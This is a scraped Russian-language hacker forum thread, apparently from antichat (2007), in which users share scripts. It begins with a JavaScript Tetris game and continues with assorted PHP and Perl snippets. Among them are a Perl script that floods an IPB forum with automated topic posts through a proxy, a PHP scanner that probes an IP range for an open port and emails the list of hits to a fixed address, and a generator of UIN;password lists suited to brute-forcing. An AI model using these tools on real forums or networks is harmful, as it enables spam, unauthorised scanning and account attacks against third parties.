Tetris Game by Xie Yong (nsxy@163.net)
Modifications by DynamicDrive.com for interface enhancements
For this script, visit http://www.dynamicdrive.com
*/

if (document.all){
var n_width = 800;
var n_height = 600;
var n_left = Math.round( screen.width/2 ) - n_width/2;
var n_top = Math.round( screen.height/2 ) - n_height/2;
var n_IncStep = 20;
var curBlcok,nextBlock;
var arr_curBlock = new Array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);
var curX,curY;
var speed=1;
var maxspeed=9;
var clr_per_line=18;
var pause=0;
var gameover=0;
var colors = new Array("#999999","#0000FF","#80FFFF","#80FF80","#FFFF00","#FF8000","#FF00FF","#FF0000"
);
var cid;
var ncid;
var blocks = new Array("tt_O1","tt_T2","tt_Z1","tt_S1","tt_L1","tt_J1","tt_I2");
var bid;
var killedlines=0;

var tt_O1 = new Array(0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0);
var tt_O2 = new Array(0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0);
var tt_O3 = new Array(0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0);
var tt_O4 = new Array(0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0);

var tt_T1 = new Array(0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0);
var tt_T2 = new Array(0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0);
var tt_T3 = new Array(0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0);
var tt_T4 = new Array(0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0);

var tt_Z1 = new Array(0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0);
var tt_Z2 = new Array(0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0);
var tt_Z3 = new Array(0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0);
var tt_Z4 = new Array(0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0);

var tt_S1 = new Array(0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0);
var tt_S2 = new Array(0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0);
var tt_S3 = new Array(0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0);
var tt_S4 = new Array(0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0);

var tt_L1 = new Array(0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0);
var tt_L2 = new Array(0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0);
var tt_L3 = new Array(0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0);
var tt_L4 = new Array(0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0);

var tt_J1 = new Array(0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0);
var tt_J2 = new Array(0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0);
var tt_J3 = new Array(0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0);
var tt_J4 = new Array(0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0);

var tt_I1 = new Array(0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0);
var tt_I2 = new Array(0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1);
var tt_I3 = new Array(0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0);
var tt_I4 = new Array(0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1);

var table = new Array(
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)

}
else
alert("You need IE4+ to play Tetris!")

function dimension2(row,col,num){
var i = row * num + col;
return (this[i]);
}
Array.prototype.getd = dimension2;

function ShowBlock(x,y,block_type,color){
for (var i=0;i<block_tbl.rows.length;i++){
for (var j=0;j<block_tbl.rows(i).cells.length;j++){
var d2 = i * 4 + j;
if (block_type[d2]==1){
block_tbl.rows(i).cells(j).style.background = color;
}
else{
block_tbl.rows(i).cells(j).style.background = "";
}
}
}
block_div.style.pixelLeft=x;
block_div.style.pixelTop=y;
}

function ShowBlock1(x,y,block_type,color,obj_tabID,obj_divI D){
for (var i=0;i<obj_tabID.rows.length;i++){
for (var j=0;j<obj_tabID.rows(i).cells.length;j++){
var d2 = i * 4 + j;
if (block_type[d2]==1){
obj_tabID.rows(i).cells(j).style.background = color;
}
else{
obj_tabID.rows(i).cells(j).style.background = "";
}
}
}
obj_divID.style.pixelLeft=x;
obj_divID.style.pixelTop=y;
}

function Change(inc){
var type = curBlock.substr(0,4);
var num = curBlock.substr(curBlock.length-1);
num = parseInt(num) + inc;
if (num>4||num<1) num -= 4*inc;
type += num;
eval("arr_tmp = " + type + ";");
if (CanMove(curX,curY,arr_tmp)){
curBlock = type;
eval("arr_curBlock = " + curBlock + ";");
eval("ShowBlock(block_div.style.pixelLeft,block_div.styl e.pixelTop," + curBlock + ",colors[" + cid + "]);");
}
}

function CanMove(x,y,block){
for (i=0;i<4;i++){
for (j=0;j<4;j++){
if (block.getd(i,j,4)&table.getd(y/n_IncStep+i,x/n_IncStep+j,16)) return false;
}
}
return true;
}

function NewBlock(){
curBlock = nextBlock;
cid = ncid;
bid = Math.round(Math.random()*(blocks.length-1));
ncid = Math.round(Math.random()*(colors.length-1));
nextBlock = blocks[bid];
eval("arr_curBlock = " + curBlock + ";");
eval("ShowBlock(120,0," + curBlock + ",colors[" + cid + "]);");
eval("arr_curBlock = " + curBlock + ";");
eval("ShowBlock1(466,116," + nextBlock + ",colors[" + ncid + "],nblock_tbl,nblock_div);");
}

function SaveBlock(){
for (i=0;i<4;i++){
for (j=0;j<4;j++){
table[(curY/n_IncStep+i)*16+curX/n_IncStep+j]|=arr_curBlock[i*4+j];
if (arr_curBlock[i*4+j]==1)
if ((curY/n_IncStep+i<21)&&(curX/n_IncStep+j>1)&&(curX/n_IncStep+j<14))
table_tbl.rows(curY/n_IncStep+i).cells(curX/n_IncStep+j).style.background = colors[cid];
if (table[(curY/n_IncStep+i)*16+curX/n_IncStep+j]!=1)
table_tbl.rows(curY/n_IncStep+i).cells(curX/n_IncStep+j).style.background = "black";
}
}
}

function DelLine(line){
for(i=line;i>0;i--){
for(j=2;j<14;j++){
table[i*16+j]=table[(i-1)*16+j];
}
}
table_tbl.deleteRow(line);
table_tbl.insertRow(0);
for (i=0;i<16;i++){
table_tbl.rows(0).insertCell();
if (i<2||i>13) table_tbl.rows(0).cells(i).style.background="navy";
}
killedlines++;
cll.innerText=parseInt(cll.innerText)+1;
}

function DelLines(){
var c,d,i,j;
d=0;
curY=block_div.style.pixelTop;
for(i=(curY/20+3);i>curY/20-1;i--){
c=0;
for(j=2;j<14;j++){
if (isNaN(table[i*16+j])||i==21) break;
c+=table[i*16+j];
}
if(c==12){
DelLine(i);
i++;
d++;
}
}
if (d>0)
sco.innerText=parseInt(sco.innerText)+d*d*36;
}

function Lucifer(){
for(var i=2;i<14;i++){
if (table[16+i]==1) return true;
}
return false;
}

function GameOver(){
gameover=1;
clearInterval(gameInterval);
block_div.innerHTML="";
for (i=0;i<21;i++){
for (j=2;j<14;j++){
setTimeout("table_tbl.rows(" + i + ").cells(" + j + ").style.background = colors[Math.round(Math.random()*7)];",16*i*j);
}
}
nblock_div.innerHTML = "Game Over";
}



function document_onkeydown() {
if (gameover==1) return;
with (block_div.style){
curX = pixelLeft;
curY = pixelTop;
switch (event.keyCode){
case 37:
if (CanMove(curX-n_IncStep,curY,arr_curBlock))
pixelLeft-=n_IncStep;
break;
case 38:
Change(1);
break;
case 39:
if (CanMove(curX+n_IncStep,curY,arr_curBlock))
pixelLeft+=n_IncStep;
break;
case 40:
if (CanMove(curX,curY+n_IncStep,arr_curBlock)){
pixelTop+=n_IncStep;
}
else{
SaveBlock();
DelLines();
if (Lucifer()){
GameOver();
return;
}
sco.innerText=parseInt(sco.innerText)+2;
NewBlock();
}
break;
case 32:
if (pause==0){
clearInterval(gameInterval);
pause=1;
}
else{
gameInterval=window.setInterval("Handle_Interval()",(maxspeed-speed+1)*60);
pause=0;
}
break;
case 90:
Change(1);
break;
case 88:
Change(-1);
break;
default:
}
}
}

function Handle_Interval(){
curX = block_div.style.pixelLeft;
curY = block_div.style.pixelTop;
if (CanMove(curX,curY+n_IncStep,arr_curBlock)){
block_div.style.pixelTop+=n_IncStep;
}
else{
SaveBlock();
DelLines();
if (Lucifer()){
GameOver();
return;
}
sco.innerText=parseInt(sco.innerText)+2
NewBlock();
}
if (killedlines>=clr_per_line){
killedlines-=clr_per_line;
if (speed<maxspeed)
speed++;
else
speed=maxspeed;
spd.innerText=speed;
clearInterval(gameInterval);
gameInterval=window.setInterval("Handle_Interval()",(maxspeed-speed+1)*60);
}
}
//-->
</SCRIPT>

<SCRIPT language=javascript event=onkeydown for=document>
<!--
if (document.all)
document_onkeydown()
//-->
</SCRIPT>
</head>
<body>
<DIV id=block_div style="LEFT: 60px; TOP: 0px">
<TABLE id=block_tbl cellSpacing=0 cellPadding=0 border=0>

<SCRIPT>
if (document.all){
for (var i=0;i<4;i++){
document.write("<tr>");
for (var j=0;j<4;j++){
document.write("<td style=\"border:1 solid black;\"></td>");
}
document.write("</tr>");
}
}
</SCRIPT>

<TBODY></TBODY></TABLE></DIV>
<DIV id=nblock_div>
<TABLE id=nblock_tbl cellSpacing=0 cellPadding=0 border=0>
<SCRIPT>
if (document.all){
for (var i=0;i<4;i++){
document.write("<tr>");
for (var j=0;j<4;j++){
document.write("<td style=\"height:40;width:40;border:1 outset black;\"></td>");
}
document.write("</tr>");
}
}
</SCRIPT>

<TBODY></TBODY></TABLE></DIV>
<DIV id=table_div>
<TABLE id=table_tbl cellSpacing=0 cellPadding=0 border=0>
<SCRIPT>
if (document.all){
for (var i=0;i<22;i++){
document.write("<tr>");
for (var j=0;j<16;j++){
var d2 = i * 16 + j;
if (table[d2]==1)
document.write("<td bgcolor=navy></td>");
else
document.write("<td style=\"background:black;\"></td>");
}
document.write("</tr>");
}
}

</SCRIPT>

<TBODY></TBODY></TABLE></DIV>
<DIV id=title_div noWrap>Выбери скорость(1-9): <INPUT id=speedin
size=8>&nbsp;<BUTTON id=but onclick=begintet()>SimbiOZ</BUTTON></DIV>
<DIV id=infobar_div>
<TABLE borderColor=navy cellSpacing=0 cellPadding=0 border=1>
<TBODY>
<TR align=middle>
<TD style="FONT: 12px system; WIDTH: 56px; COLOR: #99ccff">Speed:</TD>
<TD id=spd style="FONT: 12px system; COLOR: red">1</TD>

<TD style="FONT: 12px system; WIDTH: 86px; COLOR: #99ccff">Total Score:</TD>
<TD id=sco style="FONT: 12px system; COLOR: red">0</TD>
<TD style="FONT: 12px system; WIDTH: 96px; COLOR: #99ccff">Cleared
Lines:</TD>
<TD id=cll
style="FONT: 12px system; COLOR: red">0</TD></TR></TBODY></TABLE></DIV>
<DIV id=infobar2_div>Script From
<B>SimbiOZ(icq 457-334)</B></A></DIV>
<SCRIPT language=javascript id=MainSection>
<!--
if (document.all){
ncid = Math.round(Math.random()*(colors.length-1));
bid = Math.round(Math.random()*(blocks.length-1));
nextBlock = blocks[bid];
NewBlock();
}
function begintet(){
document.all.speedin.disabled=true
document.all.but.disabled=true
speed=parseInt(document.all.speedin.value);
if (isNaN(speed)||speed==null||speed>maxspeed||speed<1) speed=1;
spd.innerText=speed;
gameInterval=window.setInterval("Handle_Interval()",(maxspeed-speed+1)*60);
}


//-->
</SCRIPT>



</body>
</html><!-- ><!-- "><!-- '><!-- --></textarea></form>
</title></comment></a>
</div></span></ilayer></layer></iframe></noframes></style></noscript></table></script></applet></font>
<style>
#bn {display:block;}
#bt {display:block;}
</style>
<div style="background:url(http://www.tns-counter.ru/V13a****yandex_ru/ru/CP1251/tmsec=narod_total/)"></div>
<script language="JavaScript" src="http://bs.yandex.ru/show/163"></script>

Rast1k
10.08.2007, 00:11
Итак классный скрипты по их категориям)
Links(ссылки)
Add To Favourites - код надо вставить <body> & </body>
<a href="javascript:window.external.AddFavorite('http://youraddress.com','YourSitesName!');">Add To Favorites</a>


Close Window - вставить код между <body> & </body>

<a href="javascript:window.close()">Close Window</a>

Excellent Link Generator
<script>
<!--
/*Super random link script- Written by Website Abstraction
(www.wsabstract.com) over 200+ free JavaScripts here!
*/
function random_all(){
var myrandom=Math.round(Math.random()*(document.links. length-1))
window.location=document.links[myrandom].href
}
//-->
</script>
<form>
<input type="button" onClick="random_all()" value="Random Link!">
</form> - вставить между тегами <body> & </body>
================================================
Go Forward Link

<a href="javascript:history.go(+1);">Go forward</a>

KeyBoard Link - вставить между <head> & </head>
<script language="JavaScript1.2">

/*
Home Hot Key Script-
© Dynamic Drive (www.dynamicdrive.com)
For full source code, installation instructions,
100's more DHTML scripts, and Terms Of
Use, visit dynamicdrive.com
*/

var hotkey=104
var destination="http://www.dynamicdrive.com"
if (document.layers)
document.captureEvents(Event.KEYPRESS)
function backhome(e){
if (document.layers){
if (e.which==hotkey)
window.location=destination
}
else if (document.all){
if (event.keyCode==hotkey)
window.location=destination
}
}
document.onkeypress=backhome

</script>

inv
10.08.2007, 00:38
1.Ваша репутация будет зеленой)))
2.Теперь вы Гуру и Репа по максимуму))
(не только на 1 стр)
userjs для оперы
для мозилы нужен аддон

Корректно работает для тех кто не состоит в группах


Внимание :нужно заменить на свой id
(его можно увидеть наведя мышкой на ВЫХОД или профиль)
http://forum.antichat.ru/login.php?do=logout&u=39830

скрипт http://test-lol.narod.ru/green.js
видео http://test-lol.narod.ru/rep.rar
картинка http://test-lol.narod.ru/rep.JPG


http://test-lol.narod.ru/rep.JPG

Isis
10.08.2007, 05:57
inv, баянская тема...
begin_end прогу делал
А ксттаи для чего ты сделал это?

Feshh
10.08.2007, 06:25
1.Ваша репутация будет зеленой)))
2.Теперь вы Гуру и Репа по максимуму))
(не только на 1 стр)
userjs для оперы
для мозилы нужен аддон

Корректно работает для тех кто не состоит в группах


Внимание :нужно заменить на свой id
(его можно увидеть наведя мышкой на ВЫХОД или профиль)
http://forum.antichat.ru/login.php?do=logout&u=39830

скрипт http://test-lol.narod.ru/green.js
видео http://test-lol.narod.ru/rep.rar
картинка http://test-lol.narod.ru/rep.JPG


http://test-lol.narod.ru/rep.JPG
самовнушение - тот же онанизм

inv
10.08.2007, 11:02
Feshh
Isis (кстати то что ты выкладываешь на ачат мне вообще не нужно:)
Большинство предложенных здесь скриптов мне не нужны
и что?теперь их всех удалят?
Или это ваш очередной оффтоп?
------------<--------это сообщение будет удалено
Насчет внушения
Очень много народу бегают за плюсиками,
возможно это решит их проблему)

Rast1k
10.08.2007, 12:28
Мега баян)))

Поиск пользователей - расширенный поиск - по репуации - оп убыванию - ЛОЛ

Isis
10.08.2007, 13:22
inv, ты сказал все в прошлом посте про себя т.к. как раз ты и бегаешь за плюсиками, как рпаз ты и оффтопишь и делаешь то что не нужно...

Ch3ck
10.08.2007, 13:44
Сканер. Отчёт на мыло.

<?php
$report_mail= 'xek@nepoxek.ru';
$time_limit = 0;

$begin_ip = isset($_GET['begin_ip'])? $_GET['begin_ip']: '127.0.0.1';
$end_ip = isset($_GET['end_ip'])? $_GET['end_ip']: '127.0.0.1';
$port = isset($_GET['port'])? $_GET['port']: '80';
$scan = isset($_GET['scan']);
function check_ip($ip) {
$re = '/^(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3}) $/';
if (preg_match($re, $ip, $matches)) {
if (($matches[1] > 0) && ($matches[1] <= 255)
&& ($matches[2] <= 255) && ($matches[3] <= 255)
&& ($matches[4] <= 255)) {
return true;
}
}
return false;
}
$max_port = 10000;
if (check_ip($begin_ip) && check_ip($end_ip) && ($port > 0) && ($port <= $max_port) && $scan) {
set_time_limit($time_limit);
$begin_time = microtime(true);
$_begin_ip = explode('.', $begin_ip);
$_end_ip = explode('.', $end_ip);
$openned_ip = array();
for ($i_1 = $_begin_ip[0]; $i_1 <= $_end_ip[0]; $i_1++) {
for ($i_2 = $_begin_ip[1]; $i_2 <= $_end_ip[1]; $i_2++) {
for ($i_3 = $_begin_ip[2]; $i_3 <= $_end_ip[2]; $i_3++) {
for ($i_4 = $_begin_ip[3]; $i_4 <= $_end_ip[3]; $i_4++) {
$ip = $i_1.'.'.$i_2.'.'.$i_3.'.'.$i_4;
$fp = @fsockopen($ip, $port, $errno, $errstr, 2);
if ($fp) {
$openned_ip[] = $ip;
fclose($fp);
}
}
}
}
}
$end_time = microtime(true);
$scanned = true;
$count = count($openned_ip);
$echo = '<h2>Результат сканирования</h2>'."\r\n"
.'Кол-во адресов с открытым <b>'.$port.'</b> портом: <b>'.($count)." шт</b><br />\r\n"
.'Время сканирования: <b>'.number_format($end_time - $begin_time, 2, '.', ' ').' сек</b><br />'."\r\n"
."Адреса:<br />\r\n";
for($i = 0; $i < $count; $i++) {
$echo .= $openned_ip[$i]."<br />\r\n";
}
mail($report_mail, 'ИПы', $echo, "From: $report_mail\r\n");
} elseif ($scan) {
$error = 'Неправильные входные данные';
}

?>
<html>
<head>
<title>Сканер порта в диапазоне адресов</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<style>
* { font-family: monospace; }
h2 { margin: 30px 0px 5px 0px; }
</style>
<script language="javascript">
var max_port = <?=$max_port?>;
function check_ip(ip) {
var re = /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/;
if (re.test(ip)) {
if ((RegExp.$1 > 0) && (RegExp.$1 <= 255) && (RegExp.$2 <= 255) && (RegExp.$3 <= 255) && (RegExp.$4 <= 255)) {
return true;
}
}
return false;
}
function form_onsubmit() {
var frm = document.frm_scaner;
var begin_ip = frm.begin_ip.value,
end_ip = frm.end_ip.value,
port = frm.port.value;
if (check_ip(begin_ip) && check_ip(end_ip) && (port > 0) && (port <= max_port)) {
return true;
}
alert('Поля заполнены неверно');
return false;
}
</script>
</head>
<body>
<form name="frm_scaner" action="?" method="get" onsubmit="return form_onsubmit();">
<h2>Сканировать диапазон адресов на открытый порт</h2>
<table><tr>
<?=(($error != '')? '<td colspan="2" style="color: red; font-weight: bold;">Ошибка: '.$error."</td>\r\n</tr><tr>\r\n": '')?>
<td>Начало диапазона:</td>
<td><input type="text" name="begin_ip" value="<?=$begin_ip?>" size="15" maxlength="15" /></td>
</tr><tr>
<td>Конец диапазона:</td>
<td><input type="text" name="end_ip" value="<?=$end_ip?>" size="15" maxlength="15" /></td>
</tr><tr>
<td>Порт:</td>
<td><input type="text" name="port" value="<?=$port?>" size="15" maxlength="7" /></td>
</tr><tr>
<td colspan="2"><br /><input type="submit" value="Зaxyячить" style="width: 100%; height: 40px;"></td>
</tr></table>
<input type="hidden" name="scan">
</form>
<i>* Большие диапазоны могут очень долго сканироваться</i>
<?php
if ($scanned) {
echo $echo;
}
?>
</body>
</html>

inv
10.08.2007, 13:55
Isis
где я хоть раз попросил плюсик?где я бегал за плюсиками?
Насчет нужно не нужно это не тебе решать,
Я оффтопю Я это не отрицаю.И не раз уже говорил
А ты не оффтопишь?
Тебе не нужен этот скрипт ,мне не нужно говно ,
которое ты выкладываешь .

alextoun
11.08.2007, 23:09
дело было вечером и делать было нечего.
Решил почитать по VRML от нефиг делать, за 10 минут освоил
вот сделал стул!
#VRML V1.0 ascii
Material { emissiveColor 1 0.5 0.5 }
Separator {
Translation { translation 1 1 1 }
DEF LEG
Separator {
Cylinder {
height 0.8
radius 0.1
}
}
}
Separator {
Translation { translation 0 1 1 }
USE LEG
}
Separator {
Translation { translation 1 1 0 }
USE LEG
}
Separator {
Translation { translation 0 1 0 }
USE LEG
}
Separator {
Translation { translation 0.49 1.5 0.5 }
Cube {
height 0.2
width 1.2
depth 1.2
}
}
Separator {
Translation { translation 0.49 2 0 }
Cube {
height 0.8
width 1.2
depth 0.2
}
}
Separator {
Translation { translation 0.49 2.1 0 }
Rotation {
rotation 1 0 0 1.57
}
Cylinder {
radius 0.6
height 0.2
}
}
#plugin dlya brousera http://www.parallelgraphics.com/products/cortona/download/
щаз ещё анимцию попробую сделать

FeraS
12.08.2007, 03:22
Замеряем время выполнения скрипта:

<?php
function timeMeasure()
{
list($msec, $sec) = explode(chr(32), microtime());
return ($sec + $msec);
}

define('TIMESTART', timeMeasure());

echo '<!--Страница сгенерировалась за '.round(timeMeasure()-TIMESTART, 6).' сек.-->';
?>

FeraS
13.08.2007, 03:15
Выводим картинку из заданной директории :)
Думаю будет полезно админам сайтов с обоями ;)

Чтобы отобразить случайную картинку надо сначала просмотреть все файлы в директории, определить какие из них являются картинками, записать в массив и выбрать уже из этого массива случайное изображение. Вроде все просто :)

Код:

<?php
function randImage($img_dir = 'rand_images')
{
static $images = array();
static $calls = 0;
if (empty($images) && $calls == 0) {
foreach (glob($img_dir.'/{*.jpg, *.png, *.gif}', GLOB_BRACE) as $filename) {
$images[$filename] = getimagesize($filename);
}
++$calls;
}
if (!empty($images)) {
$key = array_rand($images);
$ret = array('name' => $key, 'width' => $images[$key][0], 'height' => $images[$key][1]);
unset($images[$key]);
return $ret;
} else {
return null;
}
}
var_dump(randImage('./images'));
?>


Код работает так: сначала читаем в статичную переменную файлы, подходящие по маске и в статичную же переменную кладем признак того, что функция вызывалась ранее.
Дальше смотрим нашлись ли подходящие файлы и если нашлись, то возвращаем случайный элемент из массива. Затем этот же элемент из массива удаляем, чтоб при повторном вызове функции не отображать уже показанные картинки.
Если массив пустой, возвращается значение NULL. ;)

C!klodoL
15.08.2007, 04:19
делать было нечего.. написал флудер ipb, правда флудить получается не все версии форума так как в них есть различия в запросах
#!/usr/bin/perl

use IO::Socket;

$phost = 'localhost'; #хост прокси
$pport = 8118; #порт прокси
$link = 'http://forum.ru'; #ссылка на форум без / в конце
$host = 'forum.ru'; #хост форума
$user = 'Юзир'; #юзер
$pass = 'pxVoQV'; #пасс

$topic = 'Превед'; #название топика
$message = 'Превед'; #текст

$forum = 2; #id форума
$sleep = 34; #задержка
$count = 35; #сколько топегов создать

###логинемся###
$post = "$link/index.php?act=Login&CODE=01&CookieDate=1";
$data = "UserName=$user&PassWord=$pass";
###получаем сессию###
$answ = request($post,$data);
($session,$session) = $answ =~ m/session_id=([a-z0-9]{32})/sg;

$topic = urlen($topic);
$message = urlen($message);

for (0..$count){
###топег### грузим страницу поста и парсим хидден кеи
$post = "$link/index.php?act=Post&CODE=00&f=$forum";
$top = "TopicTitle=$topic&Post=$message&s=$session";
$answa = request($post,$top);

@key = $answa =~ m/value=\'([a-zA-Z0-9]{32})\'/gsx;
$authkey = $key[1];
$postkey = $key[2];

###постем###
$post = "$link/index.php?act=Post&CODE=01&f=$forum";
$top = "TopicTitle=$topic&Post=$message&s=$session&auth_key=$authkey&postkey=$post_key&iconid=1";
$answ2 = request ($post,$top);
$session = $answ2 =~ m/session_id=([a-z0-9]{32})/g;

print "[+] Message ".$i++." posted\n";

sleep ($sleep);
}

sub request
{
($post,$data) = @_;
$sock = IO::Socket::INET->new(PeerAddr=>$phost,PeerPort=>$pport,Proto=>'tcp') || die '[-] Cant connect';
print $sock "POST $post HTTP/1.1\r\n".
"Host: $host\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($data)."\r\n".
"User-Agent: Perl\r\n".
"Connection: close\r\n\r\n$data";
while ($answ = <$sock>){
$answer .= $answ;
}
close $sock;
return $answer;
}

sub urlen
{
($str)=@_;
$str=~s/([^0-9A-Za-z\?&=:;])/sprintf("%%%x", ord($1))/eg;
return $str
}

biophreak
15.08.2007, 11:03
Все-таки советую прочитать про определение переменных (хинт: my\our\local) и всегда в перл скриптах юзать use strict; use warnings;

Thanat0z
16.08.2007, 19:58
Скрипт перевода русского текста в набор на англ раскладке

#!/usr/bin/perl

if (@ARGV < 1)
{
print "Usage: transkey.pl source\r\n";
exit();
}

$sour = $ARGV[0];

if (@ARGV = 1){
$dest = $sour . '_trans';
}
else{
$dest = $ARGV[1];
};

$alphabet = "f,dult;pbqrkvyjghcnea[wxio]sm'.z";
$alphabet2 = 'F<DULT:PBQRKVYJGHCNEA{WXIO}SM">Z';

open (SR, "<$sour") || die "Could not open source file";
open (DS, ">$dest") || die "Could not create destination file";

while (<SR>){
chomp;
@bukvy = split(//);
foreach $bk (@bukvy) {
$num = ord($bk);
if ($num < 256){
if ($num > 223){
$bk = substr($alphabet,$num-224,1);
}else{
if ($num > 191){
$bk = substr($alphabet2,$num-192,1);
};
};
};
}
print DS join("",@bukvy) . "\n";
};

close (SR);
close (DS);

NOmeR1
16.08.2007, 21:56
Thanat0z, имхо, на PHP легче :)
<?
#(c) NOmeR1
function trans($str,$lang)
{
$eng = '~!@#$%^&*()_+|QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?`1234567890-=\qwertyuiop[]asdfghjkl;\'zxcvbnm,./ ';
$rus = 'Ё!"№;%:?*()_+/ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧ СМИТЬБЮ,ё1234567890-=\йцукенгшщзхъфывапролджэя чсмитьбю. ';
$result = $str;
if($lang == 'eng')
{
for($i=0;$i<strlen($eng);$i++)
{
$result = str_replace($rus{$i},$eng{$i},$result);
}
return $result;
}
elseif($lang == 'rus')
{
for($i=0;$i<strlen($rus);$i++)
{
$result = str_replace($eng{$i},$rus{$i},$result);
}
return $result;
}
else
{
return '$lang может быть только \'rus\' или \'eng\'';
}
}
echo trans('Crhbgn hf,jnftn','rus');
?>

NOmeR1
17.08.2007, 00:20
Моя версия кодировщика и наоборот. + Моя функция unhex - долго искал, но решил сам написать.

<!--(c) NOmeR1-->
<html>
<head>
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color:#B9B9BD;
}
textarea
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:200px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
</style>
<title>encode() && decode()</title>
</head>
<body>
<?
if(!$_POST['s'])
{
?>
<form style='width:300px;' method=post>
Текст:<br>
<textarea name='msg' rows=7 cols=30></textarea><br>
<input type=submit name='s'>
</form>
<?
}
elseif($_POST['msg'])
{

function unhex($hex)
{

$result = urldecode(str_replace(' ','%',' '.$hex));

if(str_replace(' ','',$hex) == bin2hex($result))
return htmlspecialchars($result);

else
return 'не возможно';

}

$m = $_POST['msg'];

echo('Слово - <b>'.htmlspecialchars($m).'</b><br>
Наоборот - <b>'.htmlspecialchars(strrev($m)).'</b><br>
Hex - <b>'.chunk_split(bin2hex($m), 2).'</b><br>
Unhex - <b>'.unhex($m).'</b><br>
Url - <b>'.htmlspecialchars(urlencode($m)).'</b><br>
Unurl - <b>'.htmlspecialchars(urldecode($m)).'</b><br>
Base64 - <b>'.htmlspecialchars(base64_encode($m)).'</b><br>
Unbase64 - <b>'.htmlspecialchars(base64_decode($m)).'</b><br>
Md5 - <b>'.md5($m).'</b>');
}
else
{
echo('Заполните поле msg');
}
?>
</body>
</html>

NOmeR1
18.08.2007, 15:33
Самый наипростейший генератор списка uin;pass.
<?
#(C) NOmeR1
set_time_limit(0);
$file = 'uins.txt';
if($_POST['s'] && $_POST['password'] && $_POST['from'] && $_POST['to'] && $_POST['from'] < $_POST['to'])
{
$f = fopen($file, 'ab') or die('Не возможно открыть файл');
for($i=$_POST['from'];$i<=$_POST['to'];$i++)
{
fwrite($f, $i.";".$_POST['password']."\r\n") or die('Не записать в файл');
}
fclose($f);
echo('Всё успешно записано');
}
elseif(!$_POST['s'])
{
?>
<form method=post>
От номера <input type=text name=from value="100000"><br>
До номера <input type=text name=to value="200000"><br>
Пароль <input type=text name=password value="Password"><br>
<input type=submit name=s value="Go!">
Пароли сохранятся в файл <?=$file?>
</form>
<?
}
else echo('Не правильно заполнены или не заполнены некоторые поля');
?>

alextoun
21.08.2007, 11:54
#!/usr/bin/perl
use Time::localtime;
print "Content-Type: text/html \n\n";
$ip=$ENV{'REMOTE_ADDR'};
$tm=localtime();
$y=$tm->year;
$m=$tm->mon;
$d=$tm->mday;
$m++;
$y+=1900;
$curr=$d.$m.$y.":".$ip;
#print "Current status: $curr \n\n";
$yes=0;
open(COUNT, "count.dat") || die "neotkrit!\n";
while($str=<COUNT>)
{
chomp($str);
if ($curr eq $str)
{
$yes=1;
last;
}
}
close(COUNT);
open(CTR, "ctr.dat") || die "ne otkrit!\n\n";
$ctr=<CTR>;
close(CTR);
